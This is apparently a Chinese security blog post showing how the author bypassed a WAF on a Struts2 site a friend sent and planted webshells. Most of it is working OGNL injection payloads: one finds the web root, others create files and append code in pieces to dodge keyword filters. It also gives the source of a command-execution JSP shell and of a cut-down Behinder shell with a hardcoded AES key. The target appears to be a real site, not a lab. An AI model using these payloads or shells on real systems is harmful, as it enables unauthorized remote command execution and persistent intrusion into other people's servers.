绕过Struts2 waf写入冰蝎马

admin 2023年3月1日11:37:09评论67 views字数 4067阅读13分33秒阅读模式

继之前的Struts2绕过waf读写文件之后,遇到了一个实例,分享一下思路

0x01 背景

朋友发来一个struts2有waf的站点,能检测到漏洞,但是命令执行不了,上传shell肯定也就不行了,估计是检测了关键字,直接开干

0x02 写命令执行马

一开始的思路是访问站点的jsp文件,比如http://xx.xxx/123.jsp测试有没有全局拦截,很显然,这里是没有的

绕过Struts2 waf写入冰蝎马

直接可以进行写shell,先找绝对路径

0x001 查看web目录

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
绕过Struts2 waf写入冰蝎马

这里web目录是/usr/local/tomcat/webapps/ROOT/,直接写个文件到/usr/local/tomcat/webapps/ROOT/3.jsp

0x002 创建文件

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#bb0=new java.io.FileWriter("/usr/local/tomcat/webapps/ROOT/3.jsp"),#bb0.flush(),#response.flush(),#response.close()}
绕过Struts2 waf写入冰蝎马

0x003 写文件

这里写文件遇到了困难,原因在于出现了关键字getRuntime(),但是是可以绕过的,分批次进行写入文件,本地进行测试如下

package Struts2bypasswaf;  
  
import java.io.BufferedWriter;  
import java.io.IOException;  
  
/**  
 * @author f0ng  
 * @date 2022/5/24  
 */
public class teststruts2 {  
    public static void main(String[] args) throws IOException {  
        BufferedWriter aaa = new java.io.BufferedWriter(new java.io.FileWriter("1.txt",true));  
        aaa.append(""");  
        aaa.flush();  
        aaa.close();  
    }  
}

原始文件如下

绕过Struts2 waf写入冰蝎马

执行Java代码后

绕过Struts2 waf写入冰蝎马

可以发现双引号被追加写入了(这里为什么拎出来双引号,因为需要转义)

写文件分段1

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/usr/local/tomcat/webapps/ROOT/3.jsp",true)),#bb0.append("<% java.io.InputStream in = Runtime.getRun"),#bb0.flush(),#bb0.close(),#response.flush(),#response.close()}
绕过Struts2 waf写入冰蝎马

写文件分段2

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/usr/local/tomcat/webapps/ROOT/3.jsp",true)),#bb0.append("time().exec(request.getParameter("pass")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}  %>"),#bb0.flush(),#bb0.close(),#response.flush(),#response.close()}
绕过Struts2 waf写入冰蝎马

0x004 执行命令

访问webshell即可

绕过Struts2 waf写入冰蝎马

0x03 写入冰蝎马

这时候朋友又说了,这个webshell不可操作,他不喜欢,连连摆手

绕过Struts2 waf写入冰蝎马

好,那么有求必有应

那么仿造之前的方法写个冰蝎给他不就行了,前面都是一样的,给出数据包

创建文件:

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#bb0=new java.io.FileWriter("/usr/local/tomcat/webapps/ROOT/43.jsp"),#bb0.flush(),#response.flush(),#response.close()}

写入文件:

内容是<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/usr/local/tomcat/webapps/ROOT/43.jsp",true)),#bb0.append("<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>"),#bb0.flush(),#bb0.close(),#response.flush(),#response.close()}

后面再写就发现出问题了,怎么都写不进去,但是一个一个字符是可以的,那么就可以单个字符进行追加写入;但是又遇到了一个问题,单个字符的{}写不进去,原因暂不清楚,所以直接阉割了冰蝎马,后面为:

<% String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

去除了if (request.getMethod().equals("POST")){}注意要将%改为%25,要将"改为"",转义

绕过Struts2 waf写入冰蝎马

连接成功绕过Struts2 waf写入冰蝎马

朋友很满意

绕过Struts2 waf写入冰蝎马

0x04 总结

  1. 对于通过http去写入特殊字符,要考虑URL编码以及转义的问题,如%变成了%25"变成了";
  2. 运用到实战之前现在本地环境进行复现是很有必要的;
  3. 文件落地比较麻烦,如果可以注入内存马那是比较方便的。

0x05 参考

https://mp.weixin.qq.com/s/outtxUANOa406ErGleWjtQ 【struts2绕过waf读写文件及另类方式执行命令】

https://github.com/vulhub/vulhub/tree/master/struts2/s2-016 【Struts2 016环境】


原文始发于微信公众号(only security):绕过Struts2 waf写入冰蝎马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月1日11:37:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过Struts2 waf写入冰蝎马https://cn-sec.com/archives/1580892.html

发表评论

匿名网友 填写信息